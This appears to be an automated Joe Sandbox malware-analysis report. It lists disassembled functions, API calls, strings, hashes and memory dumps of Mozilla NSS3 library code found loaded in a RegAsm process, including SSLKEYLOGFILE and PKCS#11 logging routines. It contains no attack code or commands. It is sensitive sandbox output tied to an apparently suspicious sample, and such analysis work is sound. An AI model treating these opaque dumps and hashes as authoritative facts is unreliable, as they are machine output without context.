Part of subcall function 6BFC1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6BFC116C,NSPR_LOG_MODULES), ref: 6BFC1291
Part of subcall function 6BFC1240: PR_Unlock.NSS3(?,?,?,?,6BFC116C,NSPR_LOG_MODULES), ref: 6BFC12A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6C10FC0A,6C066BF7), ref: 6C066ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C066EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6C066EFC
PR_NewLock.NSS3 ref: 6C066F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C066F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6C066BF7), ref: 6C066F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6C066BF7), ref: 6C066F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6C066BF7), ref: 6C066FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6C066BF7), ref: 6C066FFD

Strings

NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6C066F4F
SSLKEYLOGFILE, xrefs: 6C066EB1
SSLFORCELOCKS, xrefs: 6C066F2B
NSS_SSL_CBC_RANDOM_IV, xrefs: 6C066FF8
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6C066FDB
# SSL/TLS secrets log file, generated by NSS, xrefs: 6C066EF7

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: bf0693ce2c477d8a3435ae98139e88d86391aba2aebd546f18b6368ee48a5ecf
Instruction ID: 7e53e81b5b138c6342e5f3155deed32135110cf151d8a2c225f71148e59e329e
Opcode Fuzzy Hash: bf0693ce2c477d8a3435ae98139e88d86391aba2aebd546f18b6368ee48a5ecf
Instruction Fuzzy Hash: 0AA128B2A599A187E7204F3ECC0134833E6AB8333EFD84365E935C7ED5DB7995808241

Function 6C008820 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptVerifyUpdate), ref: 6C008846
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C008874
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C008883

Part of subcall function 6C0ED930: PL_strncpyz.NSS3(?,?,?), ref: 6C0ED963

PR_LogPrint.NSS3(?,00000000), ref: 6C008899
PR_LogPrint.NSS3( pEncryptedPart = 0x%p,?), ref: 6C0088BA
PR_LogPrint.NSS3( ulEncryptedPartLen = %d,?), ref: 6C0088D3
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C0088EC
PR_LogPrint.NSS3( pulPartLen = 0x%p,?), ref: 6C008907
PR_LogPrint.NSS3( *pulPartLen = 0x%x,?), ref: 6C008979

Strings

pPart = 0x%p, xrefs: 6C0088E7
C_DecryptVerifyUpdate, xrefs: 6C008841
pulPartLen = 0x%p, xrefs: 6C008902
ulEncryptedPartLen = %d, xrefs: 6C0088CE
*pulPartLen = 0x%x, xrefs: 6C008974
(CK_INVALID_HANDLE), xrefs: 6C00887C
hSession = 0x%x, xrefs: 6C00885E, 6C00886E
pEncryptedPart = 0x%p, xrefs: 6C0088B5

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulPartLen = 0x%x$ hSession = 0x%x$ pEncryptedPart = 0x%p$ pPart = 0x%p$ pulPartLen = 0x%p$ ulEncryptedPartLen = %d$ (CK_INVALID_HANDLE)$C_DecryptVerifyUpdate
API String ID: 1003633598-2764998763
Opcode ID: 32f9763da7ca918019eda71f52535b013658acaf7b09ed5d43542672f892ce7a
Instruction ID: 85b624fba57be7700e43f112206fb94c9d10e1e31b488a9ffbaee85f37a003ca
Opcode Fuzzy Hash: 32f9763da7ca918019eda71f52535b013658acaf7b09ed5d43542672f892ce7a
Instruction Fuzzy Hash: 9341CF35701105AFEB20AF54DD48F8A3BF1BB4631CF4A4025E80C67A12DB35E999EBD2

Function 6C006D60 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6C006D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C006DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C006DC3

Part of subcall function 6C0ED930: PL_strncpyz.NSS3(?,?,?), ref: 6C0ED963

PR_LogPrint.NSS3(?,00000000), ref: 6C006DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C006DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C006E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6C006E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6C006E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6C006EB9

Strings

C_Digest, xrefs: 6C006D81
pDigest = 0x%p, xrefs: 6C006E27
pData = 0x%p, xrefs: 6C006DF5
ulDataLen = %d, xrefs: 6C006E0E
*pulDigestLen = 0x%x, xrefs: 6C006EB4
(CK_INVALID_HANDLE), xrefs: 6C006DBC
hSession = 0x%x, xrefs: 6C006D9E, 6C006DAE
pulDigestLen = 0x%p, xrefs: 6C006E42

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest
API String ID: 1003633598-2270781106
Opcode ID: 8cfc7d9fe7ddbbfba25458a72e23c7774ed97b750b689b00387a079e5c862fd0
Instruction ID: 42c6c979a8a5a038894bb6b6bb8be88a59112fdb8feb0d72df000af236c8d2a5
Opcode Fuzzy Hash: 8cfc7d9fe7ddbbfba25458a72e23c7774ed97b750b689b00387a079e5c862fd0
Instruction Fuzzy Hash: 0A41D435701144AFEB10AF54DD48F8A3BF2AB8671CF054015EC0CA7612DB35E999EBD2

Function 6C006960 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptUpdate), ref: 6C006986
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C0069B4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C0069C3

Part of subcall function 6C0ED930: PL_strncpyz.NSS3(?,?,?), ref: 6C0ED963

PR_LogPrint.NSS3(?,00000000), ref: 6C0069D9
PR_LogPrint.NSS3( pEncryptedPart = 0x%p,?), ref: 6C0069FA
PR_LogPrint.NSS3( ulEncryptedPartLen = %d,?), ref: 6C006A13
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C006A2C
PR_LogPrint.NSS3( pulPartLen = 0x%p,?), ref: 6C006A47
PR_LogPrint.NSS3( *pulPartLen = 0x%x,?), ref: 6C006AB9

Strings

C_DecryptUpdate, xrefs: 6C006981
pPart = 0x%p, xrefs: 6C006A27
pulPartLen = 0x%p, xrefs: 6C006A42
ulEncryptedPartLen = %d, xrefs: 6C006A0E
*pulPartLen = 0x%x, xrefs: 6C006AB4
(CK_INVALID_HANDLE), xrefs: 6C0069BC
hSession = 0x%x, xrefs: 6C00699E, 6C0069AE
pEncryptedPart = 0x%p, xrefs: 6C0069F5

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulPartLen = 0x%x$ hSession = 0x%x$ pEncryptedPart = 0x%p$ pPart = 0x%p$ pulPartLen = 0x%p$ ulEncryptedPartLen = %d$ (CK_INVALID_HANDLE)$C_DecryptUpdate
API String ID: 1003633598-2105479268
Opcode ID: 89c1ea9a1469db6b7ca0cbdb096f537a92396468e7c252aa5c3f0a8f45c6cea4
Instruction ID: 06ed34b569c8331b3c47e7e6e8cf066eac5adea512c835a7933c10707dd34989
Opcode Fuzzy Hash: 89c1ea9a1469db6b7ca0cbdb096f537a92396468e7c252aa5c3f0a8f45c6cea4
Instruction Fuzzy Hash: D441A135741104AFEB10AF54DD49B4A3BF6AB8731CF498024EC0CA7A12DB35E999EF91

Function 6BFD4AF0 Relevance: 27.4, APIs: 18, Instructions: 355memorystringthreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,?,6C011444,?,?,00000000,?,?), ref: 6BFD4BD4

Part of subcall function 6C010C90: PR_SetError.NSS3(00000000,00000000,6C011444,?,00000001,?,00000000,00000000,?,?,6C011444,?,?,00000000,?,?), ref: 6C010CB3

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C011444), ref: 6BFD4B87
memcpy.VCRUNTIME140(00000000,?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6BFD4BA5

Part of subcall function 6C0288E0: TlsGetValue.KERNEL32(00000000,?,?,6C0308AA,?), ref: 6C0288F6
Part of subcall function 6C0288E0: EnterCriticalSection.KERNEL32(?,?,?,?,6C0308AA,?), ref: 6C02890B
Part of subcall function 6C0288E0: PR_NotifyCondVar.NSS3(?,?,?,?,?,6C0308AA,?), ref: 6C028936
Part of subcall function 6C0288E0: PR_Unlock.NSS3(?,?,?,?,?,6C0308AA,?), ref: 6C028940

PR_SetError.NSS3(FFFFE02A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6BFD4DF5
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?), ref: 6BFD4B94

Part of subcall function 6C0310C0: TlsGetValue.KERNEL32(?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C0310F3
Part of subcall function 6C0310C0: EnterCriticalSection.KERNEL32(?,?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C03110C
Part of subcall function 6C0310C0: PL_ArenaAllocate.NSS3(?,?,?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C031141
Part of subcall function 6C0310C0: PR_Unlock.NSS3(?,?,?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C031182
Part of subcall function 6C0310C0: TlsGetValue.KERNEL32(?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C03119C

free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C011444,?), ref: 6BFD4BC2
PR_GetCurrentThread.NSS3(?,?,?,?,?,00000000,00000000), ref: 6BFD4BEF
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C011444), ref: 6BFD4C27
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C011444), ref: 6BFD4C42
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6BFD4D5A
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6BFD4D67
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6BFD4D78
PR_SetError.NSS3(FFFFE001,00000000), ref: 6BFD4DE4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6BFD4E4C
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6BFD4E5B
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6BFD4E6C

Part of subcall function 6BFD4880: PR_SetError.NSS3(FFFFE005,00000000), ref: 6BFD48A2

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6BFD4EF1
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6BFD4F02

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Util$Error$Arena$Alloc_Item_Valuememcpystrlen$CriticalEnterSectionUnlockZfree$AllocateArena_CompareCondCurrentFreeNotifyThreadfree
String ID:
API String ID: 24311736-0
Opcode ID: 9b0cbcaf90ec945c5d0a96b902750a0e9ec8bb55506887be048360fd86cb65fc
Instruction ID: 5f0d64cf1175215ee9721557b5858bbf19fda93b597fc05fe19ad3dab77e56e4
Opcode Fuzzy Hash: 9b0cbcaf90ec945c5d0a96b902750a0e9ec8bb55506887be048360fd86cb65fc
Instruction Fuzzy Hash: C5C15EB6E003159FEB00CF64DC81B9F77F8AF09718F080569E919A7351E775EA148BA2

Function 6C0628C0 Relevance: 27.2, APIs: 18, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 6C065B40: PR_GetIdentitiesLayer.NSS3 ref: 6C065B56

TlsGetValue.KERNEL32 ref: 6C06290A
EnterCriticalSection.KERNEL32(00000001), ref: 6C06291E
TlsGetValue.KERNEL32 ref: 6C062937
EnterCriticalSection.KERNEL32(00000001), ref: 6C06294B
PR_EnterMonitor.NSS3(?), ref: 6C062966
PR_EnterMonitor.NSS3(?), ref: 6C0629AC
PR_ExitMonitor.NSS3(?), ref: 6C0629D1
PR_EnterMonitor.NSS3(?), ref: 6C0629F0
PR_EnterMonitor.NSS3(?), ref: 6C062A15
PR_EnterMonitor.NSS3(?), ref: 6C062A37
PR_ExitMonitor.NSS3(?), ref: 6C062A61
PR_ExitMonitor.NSS3(?), ref: 6C062A78
PR_ExitMonitor.NSS3(?), ref: 6C062A8F
PR_ExitMonitor.NSS3(?), ref: 6C062AA6

Part of subcall function 6C099440: TlsGetValue.KERNEL32 ref: 6C09945B
Part of subcall function 6C099440: TlsGetValue.KERNEL32 ref: 6C099479
Part of subcall function 6C099440: EnterCriticalSection.KERNEL32 ref: 6C099495
Part of subcall function 6C099440: TlsGetValue.KERNEL32 ref: 6C0994E4
Part of subcall function 6C099440: TlsGetValue.KERNEL32 ref: 6C099532
Part of subcall function 6C099440: LeaveCriticalSection.KERNEL32 ref: 6C09955D

PK11_HPKE_DestroyContext.NSS3(?,00000001), ref: 6C062AF9
free.MOZGLUE(?), ref: 6C062B16
PR_Unlock.NSS3(?), ref: 6C062B6D
PR_Unlock.NSS3(?), ref: 6C062B80

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Monitor$Enter$Value$Exit$CriticalSection$Unlock$ContextDestroyIdentitiesK11_LayerLeavefree
String ID:
API String ID: 2841089016-0
Opcode ID: 2b2d2614cef399e6dcde1fb4950053b4714408a0836aeddd3591c0f891c7394d
Instruction ID: 33216e9f6acc90a1d3ebc58103f2a3cae0c92ccdb6e2e5bed697da6a9b87f3a5
Opcode Fuzzy Hash: 2b2d2614cef399e6dcde1fb4950053b4714408a0836aeddd3591c0f891c7394d
Instruction Fuzzy Hash: 6E81B2B5A007015FEB209F35EC49B97B7E9AF45308F044928E85AC7B11EB35F529CB92

Function 6C028E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6C028E01,00000000,6C029060,6C130B64), ref: 6C028E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6C028E01,00000000,6C029060,6C130B64), ref: 6C028E9E
PORT_ArenaAlloc_Util.NSS3(6C130B64,00000001,?,?,?,?,6C028E01,00000000,6C029060,6C130B64), ref: 6C028EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6C028E01,00000000,6C029060,6C130B64), ref: 6C028EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6C028E01,00000000,6C029060,6C130B64), ref: 6C028ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6C028E01,00000000,6C029060,6C130B64), ref: 6C028EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6C028E01), ref: 6C028EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C130B64,6C130B64), ref: 6C028F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6C028F3F

Part of subcall function 6C02A110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6C02A421,00000000,00000000,6C029826), ref: 6C02A136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C02904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6C028E76

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: b9a885a41bcd215839dbd977f6196a80294695fc1c92687b2e23888d34f4288d
Instruction ID: ab385b99a95d0f2ae1b1a3e5d6fa88c7266f0e6fce8a4024138f7deb9bfd2fbf
Opcode Fuzzy Hash: b9a885a41bcd215839dbd977f6196a80294695fc1c92687b2e23888d34f4288d
Instruction Fuzzy Hash: EA616DB5D0021A9FDB10CF56CC80BAEB7F5FF88358F154128DD28A7751E73AA915CAA0

Function 6BFD8E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6BFD8E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6BFD8E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6BFD8EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C1018D0,?), ref: 6BFD8F03
PR_CallOnce.NSS3(6C132AA4,6C0312D0), ref: 6BFD8F19
PL_FreeArenaPool.NSS3(?), ref: 6BFD8F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6BFD8F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6BFD8F65
PL_FinishArenaPool.NSS3(?), ref: 6BFD8FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6BFD8FFE
PR_CallOnce.NSS3(6C132AA4,6C0312D0), ref: 6BFD9012
PL_FreeArenaPool.NSS3(?), ref: 6BFD9024
PL_FinishArenaPool.NSS3(?), ref: 6BFD902C
PORT_DestroyCheapArena.NSS3(?), ref: 6BFD903E

Strings

security, xrefs: 6BFD8EE7

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: ff5742183592df1b89ae0116900a22cf9854ef1223d64fd73292fef99179b49d
Instruction ID: e3db1c2565cb8426a4cb5930bd9e9fe643efe052180aaff5f931576d92b21df1
Opcode Fuzzy Hash: ff5742183592df1b89ae0116900a22cf9854ef1223d64fd73292fef99179b49d
Instruction Fuzzy Hash: D3516AB3A08300ABD7109A58DC41FAB73E8AF8575CF48182DF95997761E739E908C793

Function 6C004E60 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6C004E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C004EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C004EC7

Part of subcall function 6C0ED930: PL_strncpyz.NSS3(?,?,?), ref: 6C0ED963

PR_LogPrint.NSS3(?,00000000), ref: 6C004EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C004F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C004F1A
PR_LogPrint.NSS3(?,00000000), ref: 6C004F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6C004F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6C004F68

Strings

ulCount = %d, xrefs: 6C004F63
pTemplate = 0x%p, xrefs: 6C004F4A
hObject = 0x%x, xrefs: 6C004EF5, 6C004F05
C_GetAttributeValue, xrefs: 6C004E7E
(CK_INVALID_HANDLE), xrefs: 6C004EC0, 6C004F13
hSession = 0x%x, xrefs: 6C004EA2, 6C004EB2

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue
API String ID: 1003633598-3530272145
Opcode ID: 9e29363b6b273f3a725193ba7d3082d3d0697006d5b4706b60cb892ea1e7d896
Instruction ID: 4f9e71ca2408a1180aeba547546a79b8ccae8f65aace9654e147d0b7210c296c
Opcode Fuzzy Hash: 9e29363b6b273f3a725193ba7d3082d3d0697006d5b4706b60cb892ea1e7d896
Instruction Fuzzy Hash: 0B41E235701154BFEB10EF94DD88F9A3BF5EB5630DF094024E80C57A12DB34AA89EBA5

Function 6C004CD0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6C004CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C004D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C004D37

Part of subcall function 6C0ED930: PL_strncpyz.NSS3(?,?,?), ref: 6C0ED963

PR_LogPrint.NSS3(?,00000000), ref: 6C004D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C004D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C004D8A
PR_LogPrint.NSS3(?,00000000), ref: 6C004DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6C004DBC
